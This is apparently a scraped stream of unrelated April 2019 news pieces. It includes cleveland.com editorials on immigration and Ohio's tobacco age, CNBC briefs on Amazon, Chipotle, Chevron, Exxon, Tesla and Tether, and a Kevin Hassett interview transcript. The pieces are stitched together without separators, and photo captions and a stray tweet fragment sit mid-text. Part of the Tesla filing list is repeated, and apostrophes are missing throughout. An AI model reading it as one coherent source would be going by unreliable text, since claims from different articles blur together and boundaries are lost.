zone, what about wrongly holding kids accountable for their parents behavior? About our editorials: Editorials, including Cheers & Jeers, express the view of the editorial board of cleveland.com and The Plain Dealer -- the senior leadership and editorial-writing staff. As is traditional, editorials are unsigned and intended to be seen as the voice of the news organization. Have something to say about this topic? * Send a letter to the editor, which will be considered for print publication. * Email suggestions for future Cheers & Jeers, general questions about our editorial board or comments on this editorial to Elizabeth Sullivan, director of opinion, at esullivan@cleveland.com. * Use the comments to share your thoughts. Then, stay informed when readers reply to your comments by using the Follow option at the top of the comments, & look for updates via the small blue bell in the lower right as you look at more stories on cleveland.com. New census estimates reveal a powerful force for population stability in Americas urban cores -- if cities like Cleveland can take advantage of it. In the face of continuing suburban flight from U.S. cities, immigrants are the new stabilizing force for urban America, a Brookings Institution analysis of recently released Census Bureau population estimates has found. Among the nations 100 largest metro areas, Akron was the No. 1 exhibit for this phenomenon, ranking 1st in the contribution of immigration to its population gains since 2010. The Cleveland-Elyria area, which had a net loss of more than 20,000 people in that time, ranked 99th. (Pittsburghs metro was in last place at 100.) What does this tell us? First, that immigration is not a bad word, despite all the partisan hype trying to scare people about black and brown immigrants. The contributions of legal immigration have nothing to do with country of origin and everything to do with making sure those with legal status can start businesses, create jobs and contribute to innovation. Second, that legal immigration is a boon for urban America and for the U.S. economy, and should be made far easier and smarter to accomplish, in Cleveland and elsewhere. That means comprehensive immigration reform -- something that was tantalizingly close just six years ago, when the Senate passed an immigration bill by a huge margin. That bill died in the U.S. House, where it also had strong support, after then-House Speaker John Boehner of Ohio -- who earlier appeared to mock colleagues too lily-livered to support it -- declined to bring the bill to the floor in the face of a conservative rebellion within the GOP. Such reform remains possible and needed. Legal immigration is exactly what the new census estimates show it to be -- a stabilizing force and engine of growth for our cities. Akron shows why. The Akron metro area of about 700,000 is not immune to suburban flight. The metro area lost 14,505 people to out-migration between 2010 and last year -- but it gained 13,108 from immigration, the Brookings think tank found. When added to natural increase -- Akronites having children, weighed against older folks dying -- that yielded a net population gain of 1,642, more than 100 percent of it driven by immigration, according to Brookings. The Chicago area was ranked second, after Akron, in terms of immigrations contribution to overall population growth; Detroit was third; the New York City area sixth and Daytons metro area, seventh. For Greater Cleveland at No. 99, it was a different story. According to Brookings, 37,196 immigrants arrived in Greater Cleveland in the last eight years. Pretty healthy, and largely a reflection of the areas strong Eds and Meds base, right? But 71,731 residents left the Cleveland metro area in that time, moving to suburbs, other parts of Ohio or other states. So, despite natural growth of 14,921, the Cleveland areas population fell by 20,269. While the Cleveland metro population is still at slightly more than 2 million people, the current population estimates reflect a continuation of this regions troubling steady downward trend. Lets set aside the prejudices and embrace legal immigration for the vitality, and stability, its been shown to confer in towns large and small. That means broad immigration reform, a wider recognition of immigrations overall economic positives and more efforts in Greater Cleveland both to counter out-migration and also to ease the in-migration of ambitious and hardworking newcomers to our country. About our editorials: Editorials express the view of the editorial board of cleveland.com and The Plain Dealer -- the senior leadership and editorial-writing staff. As is traditional, editorials are unsigned and intended to be seen as the voice of the news organization. Have something to say about this topic? * Send a letter to the editor, which will be considered for print publication. * Email general questions about our editorial board or comments on this editorial to Elizabeth Sullivan, director of opinion, at esullivan@cleveland.com. * Use the comments to share your thoughts. Then, stay informed when readers reply to your comments by using the Follow option at the top of the comments, & look for updates via the small blue bell in the lower right as you look at more stories on cleveland.com. Should Ohio raise the age for purchasing tobacco and alternative nicotine products from 18 to 21? The idea is in Gov. Mike DeWines budget proposal -- drawing applause from anti-smoking groups, who note that a sure route to nicotine addiction is to start early, when the combination of peer pressure and targeted advertising packs a strong double punch. Some advocates of the higher smoking age, however, also criticized DeWine for not also pushing for higher taxes on nicotine products at the same time. And some argue that better enforcement against underage smoking, a crackdown on nicotine marketing aimed at teens and higher taxes would be a better approach than just changing the legal age to purchase. At least 22 Ohio communities, including Cleveland, Cleveland Heights, University Heights, Lakewood, Akron and Columbus, already have raised the legal age for tobacco to 21, as has Summit County. Illinois is among states that have made it a statewide change. DeWines administration estimates the proposal could cost the state about $40 million in tobacco taxes over two years -- a measure of how prevalent smoking now is among Ohioans ages 18-21. In an emotional statement last week in Columbus, DeWine called young people who smoke and vape a public health crisis and also called on the federal government to crack down. The U.S. Food and Drug Administration has issued proposed additional draft guidance on flavoring in tobacco products and has scheduled a May 15 public scientific workshop to look at the regulatory challenges posed by vaping. Should Ohio raise the legal smoking age to 21? Our editorial board roundtable weighs in, and we encourage you to add your views in the comments. Thomas Suddes, editorial writer: Yes, Ohio should do so. Smoking is a grievous health risk. Ted Diadiun, editorial board member: It is abundantly clear that cigarette smoking is a health hazard, and an infringement on the rights of everyone who values clean air. That said, either one is legally an adult at age 18 or one is not. The act of smoking cigarettes might prove that someone is not smart enough to be trusted with adult privileges and responsibilities, but then what would we do about 60-year-old smokers? Lisa Garvin, editorial board member: Its frightening how fast e-cigarettes went from a smoking-cessation aid to a recruitment tool for the next generation of nicotine addicts. Teens can always get their hands on tobacco, so raising the age to 21 may not be much of a deterrent. However, candy-flavored vaping oils that appeal to children should be outright illegal, and the vaping industry must be as highly regulated and taxed as tobacco. Eric Foster, editorial board member: There really is no good reason not to raise the age to 21. Tobacco is a harmful product. It is addictive and can kill you. If raising the age prevents in any way young people from being addicted to tobacco, how can that not be a good thing? This is not about ones right to be an adult. This is about the limits we place on retailers of harmful products. Mary Cay Doherty, editorial board member: So discriminating by gender, race, sex, or disability is illegal, but age discrimination justified by a public health crisis is perfectly acceptable? If 18-year-olds are not mature enough to smoke and drink, they are also too immature to defend us in battle, marry, and vote. We must decide whether adulthood begins at 18 or 21. Denying civil liberties to a subset of adults is unconstitutional. Victor Ruiz, editorial board member: I commend Gov. DeWine for his concern for the health of his fellow Ohioans; however, Im skeptical that he can move these types of initiatives through the conservative legislature. I dont think that raising the minimum age is enough; we must tax tobacco and vaping products at much higher rates. The increased revenue can be used on other initiatives, such as smoking prevention, and fixing our roads and bridges. Elizabeth Sullivan, director of opinion, cleveland.com: Smoking kills, period. Candifying addictive nicotine and masking it as flavored vape pens so young people will think its safe and fun and get trapped on a path to possible early death is a public health crisis. DeWine, to his credit, knows that, but his proposal falls far short of doing enough to address this problem. Have something to say about this topic? * Use the comments to share your thoughts. Then, stay informed when readers reply to your comments by using the Follow option at the top of the comments, and look for updates via the small blue bell in the lower right as you look at more stories on cleveland.com. * Send a letter to the editor, which will be considered for print publication. * Email general questions about our editorial board or comments on this editorial board roundtable to Elizabeth Sullivan, director of opinion, at esullivan@cleveland.com. Amazon is making one-day shipping the standard for Prime members. Chief Financial Officer Brian Olsavsky said on the company's first-quarter earnings call on Thursday that it plans to shorten the current two-day default free shipping plan by one day for Prime members. "We're currently working on evolving our prime free two-day shipping program to be a free one-day shipping program," Olsavsky said. In order to make the change, Amazon is expected to spend $800 million in the second quarter improving warehouses and delivery infrastructures, Olsavsky said. The investment will cut into Amazon's profit margins, and the company gave lower-than-expected earnings guidance for the period. Amazon already offers one-day and two-hour shipping to Prime members for certain products and at an additional cost. But the change would significantly expand the number of product selection and zip codes eligible for one-day free shipping, Olsavsky said. Amazon says over 100 million items are currently available for free two-day shipping on its site. The change will first take place in the North American market, Olsavsky noted, but is designed to expand globally, across all countries that offer Prime memberships. Amazon said last year that it has over 100 million Prime members worldwide. Olsavsky said the company would use "all of the available levers" for free one-day shipping, including existing partners like the U.S. Postal Service and UPS, as well as Amazon's own third-party delivery network. But he declined to give specific details, like the timeline for the rollout, saying the move involves many different moving parts. "We're taking a significant step," he said. WATCH: Gene Munster grades Amazon's quarter Chipotle Mexican Grill is back and better than ever, CNBC's Jim Cramer said Thursday. The restaurant chain's "surprising" move to name Brian Niccol as CEO could materialize as the "best" executive hire of last year, he said. Cramer said the company is now playing offense after grappling with a host of food safety issues over the years. Niccol departed Taco Bell a Yum! Brands property in February 2018 for Chipotle. He's been lauded by investors for leading the company through its best year since 2013. Cramer also tipped his hat to CFO Jack Hartung, who he called the company's "stalwart." "I mean, Chipotle just reported [a] quarter with 9.9% same-store sales growth. That's amazing," the "Mad Money" host said. "It's incredible, given the prolonged downturn caused by these same health care concerns, as well as a perceived decline in quality and cleanliness." On Wednesday, Chipotle reported earnings and revenue that beat expectations. Niccol likes to spell out his blueprint on the earnings call and he "put on a clinic for how to succeed in retail," Cramer said. The host discussed Niccol's "seven elements" of Chipotle's strategy. Make sure the company stays culturally relevant: "I know that sounds meaningless, but what he means is that he didn't come in there and try to turn it into Taco Bell," Cramer said. Increase brand engagement and visibility: "Here, Niccol started some very bold advertising campaigns, while maintaining the quality of the food and Chipotle's brand identity. He had to walk a real tightrope and that's not easily duplicated," he said. Digitize and modernize: Digitization introduced remote ordering and a second line for those customers, while modernization updated the stores, Cramer said. "[Digitization] let them provide delivery and catering, it enabled their rewards program" and modernization "was crucial to bringing customer back after the health care debacles," he said. Great hospitality: "I think hospitality comes from loyalty within and loyalty without, and when it comes to the loyalty program ... [with] only 3 million members, remember they can get 10-times that. Once he gets more people and more data, [the] hospitality quotient will get even better," Cramer said. Throughput: "During Chipotle's heyday, the real problem was throughput, that's industry speak for how long it takes to get customers to go in and out. It took too long. The shorter your throughput, the happier your customers," he said. "Niccol's done an enormous amount to solve this problem, thanks to all of Chipotle's digital initiatives." Enhance the powerful economic model: "In other words, Niccol returned the company to immense profitability on a per-store basis by offering great bargains to get you in and then showing you a whole new Chipotle," Cramer said. Accountability and creativity: "Anyone who's followed Niccol's career at Taco Bell knows he's got plenty of creativity, especially when it comes to advertising," he said. "As for accountability, he's using social uptake plus 400% year-over-year. He's using digital impressions plus 300% to measure the effectiveness of Chipotle's marketing." Chipotle doubled its digital sales in the first quarter of 2019 and posted its fifth-straight quarter of same-store-sales growth. After reporting earnings per share and revenue beats Wednesday, executives also raised its sales forecast for the year. The stock originally shot up about 4% in after market trading. But shares have since slumped after news of a subpoena concerning a 2018 foodborne illness outbreak involving one of its restaurants. Cramer called Thursday's roughly 4.5% dip a buying opportunity. SOUTH BEND, INDIANA - APRIL 14: South Bend Mayor Pete Buttigieg announces that he will be seeking the Democratic nomination for president during a rally in the old Studebaker car factory on April 14, 2019 in South Bend, Indiana. Democratic presidential contender Pete Buttigieg, the mayor of South Bend, Indiana, will return thousands of dollars donated to his campaign by registered federal lobbyists and will not accept such contributions any longer, his campaign said Friday. Buttigieg faced mounting pressure from his party's progressive base to disavow lobbyist money. He was the last major Democrat running for president to swear off it. "Mayor Pete will not be influenced by special-interest money, and we understand that making this promise is an important part of that commitment," campaign manager Mike Schmuhl wrote in an email to supporters. The campaign said it will return $30,250 from 39 individuals that it had received so far. It will also bar registered lobbyists from serving as bundlers a type of major fundraiser. Tim Cook, chief executive officer of Apple Inc., speaks during an event at the Steve Jobs Theater in Cupertino, California, U.S., on Monday, March 25, 2019. Apple was involved in discussions to buy Intel's modem chip division, the Wall Street Journal reported on Friday. The deal would have been as much as a "few billion dollars," but talks stopped recently, according to the report. The news underscores Apple's increased willingness to consider making large multi-billion acquisitions with its substantial free cash flow. It also has over $245 billion in cash, cash equivalents and marketable securities on its balance sheet. Apple's biggest historical acquisition was Beats Electronics and Beats Music in 2014 for $2.6 billion. Intel currently provides LTE modem chips for Apple's current generation of iPhones. But Qualcomm's modem chips are widely considered to be superior, and Apple said it will buy Qualcomm chips again after a bitter legal battle between the two companies was settled last week. Hours after the settlement, Intel announced that it would no longer develop its next-generation 5G modem chip. "In light of the announcement of Apple and Qualcomm, we assessed the prospects for us to make money while delivering this technology for smartphones and concluded at the time that we just didn't see a path," Intel CEO Bob Swan told the Wall Street Journal. Apple and Intel declined to comment. Subscribe to CNBC on YouTube. British drugmaker AstraZeneca on Friday reported first-quarter product sales and earnings ahead of analysts' expectations, benefiting from its aggressive push into cancer drugs and a focus on emerging markets, including China. The company had in February reported annual sales growth for the first time since 2009, turning around its business after a series of patent losses. It has since agreed a multibillion-dollar oncology deal with Japan's Daiichi Sankyo. Chief Executive Pascal Soriot's push to re-charge the company and bolster future sales largely hinges on cancer treatments. AstraZeneca has faced a massive loss of patents on older drugs since 2012, leading to crumbling sales. In the first quarter, sales from the company's oncology unit rose 59 percent to $1.89 billion, accounting for 35 percent of total product sales. "We're reaching that point where after years of having to keep faith, we have actually got something tangible to believe in," Hargreaves Lansdown analyst Nicholas Hyett said. AstraZeneca also backed its annual sales and earnings forecast and said it has extensively prepared for UK's anticipated exit from the European Union, even in the event of a no-deal exit. The company's shares were up nearly 1 percent at 5,947 pence in early London trading. The company has already spent more than 40 million pounds ($52 million) on Brexit preparations, including stockpiling six weeks' worth of drugs in the UK and four weeks in continental Europe to protect itself from medicine shortages. AstraZeneca said product sales rose 14 percent at constant currency to $5.47 billion in the quarter, led by its lung cancer drug Tagrisso and respiratory treatment Pulmicort. China, which accounts for nearly a quarter of sales, was again a bright spot, with sales increasing by 28 percent to $1.24 billion in the quarter. AstraZeneca is one of the major drugmakers focusing on maintaining a presence in China largely due to regulatory reforms to fast-track new drugs in the country. Core earnings came in at 89 cents per share in the quarter. Analysts on average were expecting core earnings of 85 cents per share and product sales of $5.29 billion, according to a company provided consensus of 19 analysts. Moldova is set to sign infrastructure deals with two Chinese contractors, according to the country's State Secretary at the Ministry of Economy and Infrastructure marking the first time Beijing's Belt and Road Initiative has expanded into the eastern European country. In an interview with CNBC's "Squawk Box Asia" on Friday, Vitalie Iurcu said negotiations started several years ago, "and most probably this year, we should sign contracts" to build "almost 300 kilometers of roads in the Republic of Moldova." The Belt and Road is a massive infrastructure network involving roads, railways and ports that seek to connect China to more than 60 countries across three continents: Asia, Europe and Africa. Former U.S. Vice President Joe Biden delivers remarks during the National Minority Quality Forum on April 9, 2019 in Washington, DC. Sens. Elizabeth Warren, D-Mass., and Bernie Sanders, I-Vt., both appeared to take shots at former Vice President Joe Biden in his first official day on the campaign trail. Their remarks offered some of the first intraparty criticism to emerge from the pool of at least 20 Democrats running to defeat President Donald Trump in the 2020 election. When Biden joined the race Thursday, he was widely viewed as an instant front-runner. On Thursday, Sanders' campaign sent a shot across the bow at Biden in response to a reported fundraiser in Philadelphia on Thursday evening at the home of Comcast Senior Executive Vice President David Cohen. Comcast owns CNBC parent NBCUniversal. In an email to supporters sent Thursday under the subject line "Joe Biden," the self-described democratic socialist's campaign wrote: "It's a big day in the Democratic primary and we're hoping to end it strong. Not with a fundraiser in the home of a corporate lobbyist, but with an overwhelming number of individual donations." Warren, meanwhile, dredged up her past criticisms of Biden's record on financial issues during his three decades in the Senate. "Joe Biden was on the side of credit card companies," Warren said Thursday at an event in Iowa when asked about Biden's relationship to Wall Street, according to The New York Times. Her disagreement with Biden over bankruptcy legislation "is a matter of public record," she said. Kaplan TWEET WARREN, asked by a reporter about Biden and Wall Street, says their disagreement over bankruptcy legislation "is a matter of public record." She puts it bluntly: "Joe Biden was on the side of credit card companies." Indeed, Warren targeted Biden in her 2014 autobiography for his sponsorship of a bill supported by the financial services industry that tightened rules on consumers seeking bankruptcy protections. "The Senate was evenly split between the two parties, but one of the bill's lead sponsors was Democratic powerhouse Joe Biden, and right behind him were plenty of other Democrats offering to help," Warren wrote, the Times reported. "Never mind that the country was sunk in an ugly recession and millions of families were struggling the banking industry pressed forward and Congress obliged." Soldiers shoot a round down range from their M777A2 howitzer on Kandahar Airfield, Afghanistan, Aug. 22, 2014. WASHINGTON When lawmakers return to Capitol Hill next week, they will begin considering the Pentagon's colossal budget request. The Defense Department is asking Congress for $718 billion in its fiscal 2020 budget, an increase of $33 billion or about 5% over what Congress enacted for fiscal 2019. The budget is composed of a $544.5 billion base budget, $9.2 billion for emergency border funding and $164 billion for overseas contingency operations funding, aka the war budget. The Navy and Marine Corps request $205.6 billion, up $9.9 billion from fiscal 2019; the Air Force calls for $204.8 billion, up $11.8 billion from the last request, and the Army asks for $191.4 billion, up $12.5 billion from fiscal 2019. Congress has until Oct. 1 to approve the budget or negotiate a new funding deal with the White House. Chevron on Friday reported first-quarter earnings that beat analysts' expectations, even as profits fell from a year earlier, weighed down by lower oil prices and weak profit margins in its refining and chemicals business. Shares of the oil giant fell about two-thirds of a percent on Friday. Chevron earned $2.65 billion in the first quarter of the year, down 27% from a year earlier. The company earned $1.39 per-share in the quarter, compared with $1.30 per share predicted in a Refinitiv survey of analysts. The results were bolstered by a 7% jump in oil and natural gas production, with oil equivalent output exceeding 3 million barrels per day for the second quarter in a row. Chevron pinned the increase on rising volumes from its Permian Basin fields in Texas and New Mexico, as well as its Wheatstone project in Australia. Chevron's oil and gas production surged nearly sixfold to 884,000 barrels of oil equivalent per day. Production was also up 35,000 barrels of oil equivalent internationally. The higher production was offset by lower oil prices from a year ago. Michael Wirth, CEO of Chevron. Adam Jeffery | CNBC Chevron's plans to boost its buyback program by $1 billion depends on the oil giant winning a battle with Occidental Petroleum to take control of Anadarko, the company's chairman and CEO, Michael Wirth, confirmed Friday. The oil major announced plans to hike the shareholder payout to $5 billion per year when it disclosed a deal earlier this month to buy Anadarko for $33 billion. Less than two weeks later, Occidental put a higher bid on the table. Before the announcement, Chevron had planned to repurchase $4 billion worth of shares from investors each year, up from a previously announced $3 billion buyback program. "The step up to $5 [billion] was a signal that this deal makes us even stronger," Wirth told analysts during a conference call Friday. "It was an announcement we made to indicate our strong confidence in the cash flow accretion and value creation that this transaction enables, and so it is tied to the transaction." Chevron suspended the purchases in the first quarter because it cannot buy back shares when it possesses important nonpublic information in this case the pending Anadarko acquisition said Chief Financial Officer Pierre Breber. He said the company probably won't purchase any shares in the second quarter due to other restrictions related to the merger process. Once the transaction is complete, Chevron intends to resume the purchases at a rate of $1.25 billion each quarter, he said. In light of Occidental's rival bid, Wirth said the timeline to close the deal "is probably a little different today than I would have told you a couple of weeks ago." However, he still thinks it could be completed in the third quarter. Occidental is offering $76 a share for Anadarko, topping Chevron's $65 per share bid and sparking speculation that the oil major may have to sweeten its offer. On Friday, J.P. Morgan analyst Phil Gresh asked if there is a price level at which Chevron would back out of the deal, should Anadarko shareholders seek a higher bid. "Of course the answer to that is yes there is," Wirth said. "This isn't the time to address that specifically, but we've said we will do things that are value-creating for our shareholders. And we don't need to do anything. We've got a very strong story without doing a transaction." Cryptocurrencies fell amid reignited regulatory worries and questions around the legitimacy of so-called "stablecoin" tether. The entire market shed about $10 billion in value in the space of an hour late Thursday, CoinMarketCap data showed. This after the New York attorney general accused the operator of bitcoin exchange Bitfinex and tether issuer Tether Limited of hiding an $850 million loss. The state's top lawyer alleges Bitfinex used at least $700 million from Tether's cash reserves to cover up the apparent loss of $850 million of client and corporate funds. Its findings were detailed in papers filed with the Manhattan Supreme Court. Tether is a cryptocurrency that is meant to be pegged to the U.S. dollar otherwise known as a stablecoin. Worries have been raised over whether Tether Limited holds enough dollars to back all the tokens in circulation. The price of bitcoin, the world's largest cryptocurrency, has fallen 4% over the last 24 hours, according to industry website CoinDesk. In the same time period, the prices of ethereum and XRP the world's second and third-largest virtual currencies by market value also dropped 6% and 3%, respectively. Tether's price fell over 1%, coming off its dollar peg. The attorney general's office said Thursday that Bitfinex handed $850 million to a Panama entity called Crypto Capital without disclosing it to investors. Executives at Bitfinex and Tether then allegedly "engaged in a series of conflicted corporate transactions" where Bitfinex gave itself access to Tether's cash reserves. A signs stands above the entrance to a Deutsche Bank AG bank branch in Frankfurt, Germany, on Monday, July 4, 2016. Deutsche Bank reported stronger-than-anticipated first-quarter net profit on Friday, less than 24 hours after abandoning merger talks with Commerzbank. Germany's flagship lender posted 201 million euros ($223 million) in net income for the first three months of the year. This was a rise of 67% from the same period a year ago and better than the 29 million euro figure given by Reuters in an analyst poll. Revenues for the quarter were down 9%, with the bank's full-year target cut to "essentially flat" from 2018. Last month, Deutsche Bank had projected a slight increase in 2019 revenues. Shares of the lender slipped 3% on the news. "Our first-quarter results demonstrate the strength of our franchise and our continued progress in executing our plans in a very challenging market environment," CEO Christian Sewing said in statement. "We have made progress on key business drivers: growth in loans and deposits, a recovery in assets under management and market share improvements in corporate finance." Elon Musk, chief executive officer of Tesla Inc., arrives at federal court in New York, on Thursday, April 4, 2019. Tesla CEO Elon Musk has reached an agreement with the Securities and Exchange Commission over his use of Twitter, according to an amended filing in U.S. District Court of the Southern District of New York. The late Friday agreement, which still needs to be approved by a judge, lays out exactly what kind of information requires formal legal review before being shared. This oversight process is now required for the company's blog, statements made on investor calls, as well as social media posts for material information. The filing laid out the following items in that list: the Company's financial condition, statements, or results, including earnings or guidance; potential or proposed mergers, acquisitions, dispositions, tender offers,or joint ventures; production numbers or sales or delivery numbers (whether actual, forecasted, or projected) that have not been previously published via pre-approved written communications issued by the Company ("Official Company Guidance") or deviate from previously published Official Company Guidance; new or proposed business lines that are unrelated to then-existing business lines (presently includes vehicles, transportation, and sustainable energy products); projection, forecast, or estimate numbers regarding the Company's business that have not been previously published in Official Company Guidance or deviate from previously published Official Company Guidance; events regarding the Company's securities (including Musk's acquisition or disposition of the Company's securities), credit facilities, or financing or lending arrangements; nonpublic legal or regulatory findings or decisions; any event requiring the filing of a Form 8-K by the Company with the Securities and Exchange Commission, including: - a change in control; or - a change in the Company's directors; any principal executive officer, president, principal financial officer, principal accounting officer, principal operating officer, or any person performing similar functions, or any named executive officer; or - a change in control; or - a change in the Company's directors; any principal executive officer, president, principal financial officer, principal accounting officer, principal operating officer, or any person performing similar functions, or any named executive officer; or such other topics as the Company or the majority of the independent members of its Board of Directors may request, if it or they believe pre-approval of communications regarding such additional topics would protect the interests of the Company's shareholders; Tesla did not immediately reply to a request for comment. Shares of Tesla gained about 0.9% in postmarket trading. The stock had shed 5% during the normal session and has fallen 29% so far in 2019. Friday's agreement "removes an overhang" for Tesla shareholders, said Dan Ives, managing director for equity research at Wedbush Securities. Exxon Mobil reported on Friday that its first-quarter profits fell nearly 50% from a year ago, hit by poor results in its refining and chemicals segments. Shares of the oil giant were down more than 2% on Friday. Exxon reported a quarterly loss in its downstream business, which focuses on refining oil into fuels like gasoline and diesel. The company said brimming stockpiles of gasoline led to weak fuel margins during the quarter. It also continued a heavy slate of refinery maintenance. That maintenance has weighed on downstream profits in recent quarters, and Exxon warned analysts on Friday that it will continue in the second quarter of 2019. Profits in the chemicals business also tumbled $219 million from a year ago. While Exxon sold more chemicals, profit margins came under pressure because the industry has recently added capacity. The oil major's output of crude, natural gas and other fossil fuels reached 4 million barrels of oil equivalent, up 2% from last year. Still, income in the upstream exploration and production unit fell by $621 million from last year. While crude oil prices strengthened, they still remained relatively weak, Exxon said. "Solid operating performance in the first quarter helped mitigate the impact of challenging Downstream and Chemical margin environments," Exxon Chairman and CEO Darren Woods said in a statement. Exxon earned $2.35 billion in the first quarter, compared with $4.65 billion a year ago. Earnings per share came in at 55 cents, compared with 70 cents forecast by a Refinitiv survey. Revenues were $63.63 billion, down 6.7% from a year ago and short of analysts' estimates for $64.82 billion. Exxon also saw capital and exploration expenses increase from $4.87 billion a year ago to $6.89 billion this quarter. The results showed Exxon continuing to increase its oil and natural gas production after the energy giant broke a streak of declining output last quarter. The company's production figures were in line with Wall Street expectations, according to StreetAccount. Last month, Exxon announced plans to hike oil and gas production from the Permian Basin by 80 percent, with a goal of pumping 1 million barrels of oil equivalent per day as soon as 2024. The Permian is the top U.S. shale oil region, stretching across western Texas and southeastern New Mexico. On Wednesday, Exxon raised its quarterly dividend by 5 cents to 87 cents per share. Also Friday, Chevron reported first-quarter earnings that beat expectations, even as profits fell from a year earlier. WHEN: Today, Friday, April 26, 2019 WHERE: CNBC's "The Exchange" The following is the unofficial transcript of a FIRST ON CNBC interview with Council of Economic Advisers chairman Kevin Hassett and CNBC's Kelly Evans on CNBC's "The Exchange" today, Friday, April 26th. The following is a link to video of the interview on CNBC.com: https://www.cnbc.com/video/2019/04/26/cea-chair-kevin-hassett-could-see-q1-gdp-be-revised-higher.html. All references must be sourced to CNBC. KELLY EVANS: The economy in the U.S., powering ahead in the first quarter, growing at the 3.2% rate. It was better than expected, despite concerns about global weakness, a trade war, a partial government shutdown. Joining me now is Kevin Hassett. He's Chairman of the Council of Economic Advisers. Welcome, sir. It's good to see you. KEVIN HASSETT: Yeah, thanks, Kelly. It's great to be here. KELLY EVANS: You know, we can go through this line by line and maybe if you'll indulge me, we will. KEVIN HASSETT: Of course, yeah. KELLY EVANS: The headline number, though, and if you look at the last four or five quarters, we are at a higher run rate than we were in the previous few years. Is it sustainable? KEVIN HASSETT: Yeah, absolutely. You know, our forecast for the year-- wait for it, was 3.2% for the year. And the first quarter was 3.2%. And so, if you ask me, gee, given the news of the first quarter, you can revise your forecast. You know, I have a hard time, you know, thinking of why. Except for maybe we can revise it up. Because, you know, the number was three times slower because of the government shutdown. And as you've covered a lot over the years, the first quarter tends to be low because the winter weather isn't accounted for, right, in the statistics. So, I think you add that all together, this is really blockbuster news, and suggests that the risks on the upside are very high for GDP this year. KELLY EVANS: Yeah. And -- so, let's go through the market reaction was interesting, Kevin. They kind of shrugged it off. You saw treasury bond rate -- yields falling a little bit on the back of this. The reason why is the boost from exports, the boost from inventories. Morgan Stanley is out there saying: because those were temporary gains in the first quarter, it thinks second quarter GDP will be only 1.1%. Do you have a better explanation for what's going on there? KEVIN HASSETT: Sure. And you know, that's kind of what everybody was saying about the first quarter, you might recall if we go back to the beginning of it. And the fact is that the inventory story is correct. You know those guys are real pros. And when you get a lot of growth from inventories, it should give you pause about the next quarter because inventories tend to go up-and-down from quarter to quarter. But the fact is that incomes are growing at a high rate and consumption has not been. And so, our expectations is that the shells are being filled but they're going to be emptied out and production isn't going to go down the way it normally does when you see an inventory spike. And you can see that in the latest retail sales number which really skyrocketed, right? And so, I think the consumers are having their consumption catch up with income. That's going to be like the story for the next couple of quarters. KELLY EVANS: Okay, sure. Let's talk about business investment for a second, because last year it was blockbuster. Obviously, a lot of incentives in the tax bill. But it has slowed lately. And I'll quote Strategas, who has been on the correct side in terms of being more bullish on the economy, but even they are saying that business investment is slowing. Despite all of those incentives, trade policy is weighing on investment and resolution of a deal with China would be better sooner rather than later. What can you tell the business community? KEVIN HASSETT: Right. Well, the fact is that in our model that gives us the 3.2% growth this year, investment doesn't grow as fast as last year. Because what happened is like we got a jump to a much higher level. That's really good news. And if you can sustain that level, then you can sustain higher growth for a while. It's like if your income went from $50,000 to $100,000, and then you grew from $100,000 to 105 then the five wouldn't be bad news, because the good news is you didn't go back $50,000. And so, we had a big boom in investment last year and if it had gone back down then it would have been inconsistent with our models. But just sort of going up a little slower from here. It's exactly what we expect because what happens is that people, you know, built new factories last year. This year, they're turning them on KELLY EVANS: Right. KEVIN HASSETT: They're beginning to produce output. In the first quarter, I think a lot of that new output from the new factories went into inventories. But I expect it will all be sold in the second quarter. KELLY EVANS: Yeah, look, and Strategas takes all of that into account. I think the question here is tell us what is going on with these China talks. Kevin, give us, in the business community, some insight because we're now in late April, if I have the right month. But we were supposed to have, you know, this deal by now. We don't even have details on whether -- when the summit might be coming between the President and China's leader. It sounds like there's progress but then we've heard bupkis lately, so I can understand why the business community is going, 'Alright, we have to wait to see what is going on here.' What can you tell us? KEVIN HASSETT: Right. Well, you know, I get briefed every Tuesday on the progress, and there's ample progress. There are discussions about the next round of talks ongoing. There's nothing to announce on that yet. But I can say the idea of uncertainty is pushing down capital spending in the U.S., it's actually probably if anything the other way. I think that if people are worried that we're going to keep our tariffs on China, then their new activity they would be more likely to locate in the U.S. than in China right now. And so, I don't think uncertainty on that is a negative. But that doesn't mean we want to deal. We sure do. And you might have noticed over the last few months I've been using a wedding analogy. And for the last weeks I've been saying we're at the point where you don't want the groom to see the bride. But now I think we're at the point where you don't want Dustin Hoffman to show up at the wedding. And so, right now I think it's getting close. But you know, there's still a lot of things to work out. KELLY EVANS: Alright. We will take you at your word. Because again, it's been a little frustrating to follow all of this. It's obviously a big deal. We know a lot goes into it. These are delicate talks and hopefully all will turn out well. This then kind of brings into the summer period, Kevin, that starts to point into the fall where the debt ceiling looms with so many other issues. It's starting to get more focused today. "The Washington Post" is writing about it saying the White House is trying to avoid having all of these things kind of come to a head and hurt the economy. What is the plan for dealing with the debt ceiling? KEVIN HASSETT: Well, I think that in the President's budget, you know, we actually are trying to get ahead of the curve on spending and that's the position that we're going to take into the fall. That I think our budget is a good guideline to, you know, what our belief is the right thing to do. The fact is that we came in, there were a lot of problems that had to be fixed like, you know, a defense that was sort of under tooled, that you saw like airplanes getting hit by hurricanes because they didn't have enough parts and so on. So, we had to spend more money on defense. We had to fix the tax system. But now I think getting ahead of the curve of the deficit is a high priority for us. And that's why the President is calling for 5% across the board spending cuts for cabinet agencies. And I think that, you know, you're right to look ahead to that and say that it's probably something that is going to be a focus of a lot of debate in the fall. And probably at times, uncertainty. KELLY EVANS: So, who do we have to look towards for comprise on this? Nancy Pelosi? You know, 5% spending cuts might sound good to the President but not to the Congress. KEVIN HASSETT: Well, I'm not a negotiator. But I can say that if we can get ahead of the curve on spending and reduce the deficit that given where we are, given the strong economy, it's a good time to do that and it would be very good for the long run outlook. KELLY EVANS: Kevin, finally, I want to go back to the GDP number and ask if there's a way you guys have quantified the impact of deregulation, for example, on the economy. So, we know a lot of things going on behind the scenes everything from pipeline permitting processes to other things happening certainly that aren't in headlines every day could be contributing to the better growth rates we've seen lately. Do you have a way to quantify that and to tell us how sustainable that is? KEVIN HASSETT: You know, it's funny you should ask that. Because, as a teaser, it's one of the things we've been working on, is a paper that's going to document and quantify all the gains from deregulation. You know, coming soon to a White House near you. But, you know, I can't give the numbers out yet. They haven't gone through fact checking and so on. But the fact is the deregulation effects are very large, and we're going document that soon in the thing that we're working on right now. KELLY EVANS: Well, we look forward. Now, you have to give me the exclusive. I mean-- KEVIN HASSETT: There you go. KELLY EVANS: Kevin, thanks very much. It's good to see you. KEVIN HASSETT: Thank you. KELLY EVANS: Kevin Hassett is Chair of the Council of Economic Advisers. For more information contact: Jennifer Dauble CNBC t: 201.735.4721 m: 201.615.2787 e: 